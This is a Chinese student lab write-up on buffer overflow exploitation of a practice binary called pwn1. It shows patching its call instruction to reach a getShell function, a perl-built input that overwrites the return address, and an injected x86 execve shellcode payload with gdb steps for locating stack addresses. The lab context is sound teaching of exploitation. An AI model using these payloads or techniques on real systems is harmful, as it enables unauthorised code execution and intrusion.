20222959 2022-2023-2 《网络攻防实践》第9周作业

1 实践内容

1.1 缓冲区溢出

计算机程序一般都会使用到一些内存,这些内存或是程序内部使用,或是存放用户的输入数据,这样的内存一般称作缓冲区。溢出是指盛放的东西超出容器容量而溢出来了,在计算机程序中,就是数据使用到了被分配内存空间之外的内存空间。而缓冲区溢出,简单的说就是计算机对接收的输入数据没有进行有效的检测(理想的情况是程序检查数据长度并不允许输入超过缓冲区长度的字符),向缓冲区内填充数据时超过了缓冲区本身的容量,而导致数据溢出到被分配空间之外的内存空间,使得溢出的数据覆盖了其他内存空间的数据。

1.2 shellcode

shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。可在暂存器eip溢出后,塞入一段可让CPU执行的shellcode机器码,让电脑可以执行攻击者的任意指令。

1.3 反汇编(Disassembly)

反汇编(Disassembly)是把目标代码转为汇编代码的过程,也可以说是把机器语言转换为汇编语言代码、低级转高级的意思,常用于软件破解(例如找到它是如何注册的,从而解出它的注册码或者编写注册机)、外挂技术、病毒分析、逆向工程、软件汉化等领域。学习和理解反汇编语言对软件调试、漏洞分析、OS的内核原理及理解高级语言代码都有相当大的帮助,在此过程中我们可以领悟到软件作者的编程思想。总之一句话:软件一切神秘的运行机制全在反汇编代码里面。

1.4 常用汇编指令

NOP, JNE, JE, JMP, CMP汇编指令的机器码:

NOP:即"空指令"。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令,机器码:90.

JNE:条件转移指令,如果不相等则跳转,机器码:75。

JE:条件转移指令,如果相等则跳转,机器码:74。

JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near,机器码:E9。 段内间接转移 Jmp word,机器码:FF。 段间直接(远)转移Jmp far,机器码:EA。

CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2 实践过程

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

实验要求:

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

掌握反汇编与十六进制编程器

能正确修改机器指令改变程序执行流程

能正确构造payload进行bof攻击

2.1 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

首先把主机名改成20222959yhg
在这里插入图片描述

再把pwn1改名为pwn1-20222959
在这里插入图片描述

使用objdump对pwn1-20222932进行反汇编,输入指令"objdump -d pwn1-20222959 | more"。按方向键的"下"查看更多内容,找到main函数的相关部分。

在这里插入图片描述

可以看出main调用foo函数的相关语句。然后输入指令"vi pwn1-20222959",使用vi文本编辑器查看该文件。之后输入指令":%!xxd",将显示模式切换为16进制模式。

img

然后查找要修改的内容"/e8 d7",找到对应数据。

在这里插入图片描述

将"d7"修改成"c3"

img

修改完毕数据后,输入指令":%!xxd -r"将文件恢复文本显示。

在这里插入图片描述

最后输入":wq"保存并退出。
再次输入指令"objdump -d pwn1-20222959 | more"查看反编译结果。可以看出已经调用了"getShell"函数。修改成功。

img

输入./pwn1-20222959运行修改后的文件,验证通过。

img

2.2 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

本次实验,通过构造一个攻击输入字符串来修改程序的返回地址,达成攻击的目标。通过观察pwn1-20222932程序的汇编代码,发现main函数调用foo函数后只给输入的数据分配了28字节(0x1c)的空间。因此,构造一个字符串使它的长度可以溢出至EIP所在位置,将返回地址"80484ba"覆盖为getShell函数的地址"804847d",则程序执行完foo函数后将返回到getShell函数去执行,完成攻击。

输入指令"perl -e ‘print “12345678902234567890323456789042\x7d\x84\x04\x08\x0a”’ > input-20222959"生成input-20222959文件

img
在这里插入图片描述

输入指令"(cat input-20222959; cat) | ./pwn1-20222959",将构造好的字符串输入程序并运行。

img

成功执行ls命令,实验成功。

2.3 注入一个自己制作的shellcode并运行这段shellcode

首先更换源和安装包。输入指令"sudo vim /etc/apt/sources.list",打开sources.list文件。

img
在这里插入图片描述

然后输入“:wq”保存退出,输入指令"sudo apt-get update"再进行更新源。

img

输入指令"apt-get install prelink"安装相关软件。

img

sudo apt-get install gdb,安装gdb。

在这里插入图片描述

输入指令"gdb pwn-20222959"打开gdb对pwn-20222959进行调试。
在这里插入图片描述

然后输入指令"attach 63209"找到对应的进程。
在这里插入图片描述

输入指令"disassemble foo"对foo函数进行反汇编。
在这里插入图片描述

找到应该放置断点的位置,断点应该放到ret之前,输入指令"break *0x080484ae"设置断点。
在这里插入图片描述

设置完毕,在之前运行pwn20222959的终端中按下回车继续执行程序。
在这里插入图片描述

gdb中输入指令"c",继续执行。
在这里插入图片描述

程序中断,输入指令"info r esp"查看栈顶指针所在的位置:0xffffd69c。

输入指令"x/16x 0xffffd69c"查看存放内容。其中的0x01020304,就是返回地址的位置。
在这里插入图片描述

根据input_shellcode可知,shellcode就在其后+4,所以地址应为0xffffd6a0。
在这里插入图片描述

在一个新终端中,输入指令perl -e ‘print “A” x 32;print “\xa0\xd6\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a”’ > input_shellcode,构造最终的shellcode。

然后输入指令(cat input_shellcode;cat) | ./pwn-20222959再次运行。

发现攻击完成。输入ls能够查看目录信息。输入ifconfig可以查看IP信息。

3.学习中遇到的问题及解决

问题1:xxd变成16进制一直有问题,显示不出来

问题1解决方案:换了个kali镜像,重新做的,很是麻烦
问题2:execstack安装时无法定位软件包。

问题2解决方案:更新源sudo apt-get update。

4.实践总结

通过本次实践,我对shellcode技术和汇编语言有了初步的了解,体会到了程序运行的深层次的逻辑,对程序运行、进程与堆栈的关系有了进一步的体会。而且在实验中感受到网络攻击的漏洞利用十分巧妙。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值